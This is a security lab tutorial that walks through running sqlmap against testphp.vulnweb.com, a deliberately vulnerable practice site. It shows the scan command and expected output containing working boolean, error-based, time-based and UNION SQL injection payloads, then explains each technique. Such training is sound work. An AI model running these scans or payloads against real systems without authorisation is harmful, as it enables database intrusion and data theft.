Detecting a SQL Injection Vulnerability
Now that sqlmap is installed, you can begin testing a web application for SQL injection vulnerabilities. For this lab, we will use a publicly available, intentionally vulnerable website designed for security testing. The first step in any SQL injection attack is to identify a vulnerable parameter.
The target URL for this lab is http://testphp.vulnweb.com/listproducts.php?cat=1. The parameter cat=1 is a potential entry point for injection. We will use sqlmap to automatically test this parameter.
Run the following command to start the test. The -u flag specifies the target URL. We use the --batch flag to let sqlmap run with its default answers to any interactive questions, making the process non-interactive and faster.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap will perform a series of tests against the URL. It will analyze the responses to determine if the cat parameter is injectable. This process can take a minute or two as it tries various SQL injection techniques.
After the scan completes, review the output. You should find a section that confirms the vulnerability.
Expected Output (truncated):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
The output confirms that the cat parameter is vulnerable to multiple types of SQL injection attacks:
- Boolean-based blind: Uses true/false logic to extract data
- Error-based: Exploits database error messages to reveal information
- Time-based blind: Uses delays in responses to confirm injection
- UNION query: Combines results from multiple SELECT statements
The scan also identifies the backend database as MySQL version 5.6 or higher, running on a Linux Ubuntu system with Nginx and PHP. This detailed fingerprinting information guides the next steps in the exploitation process.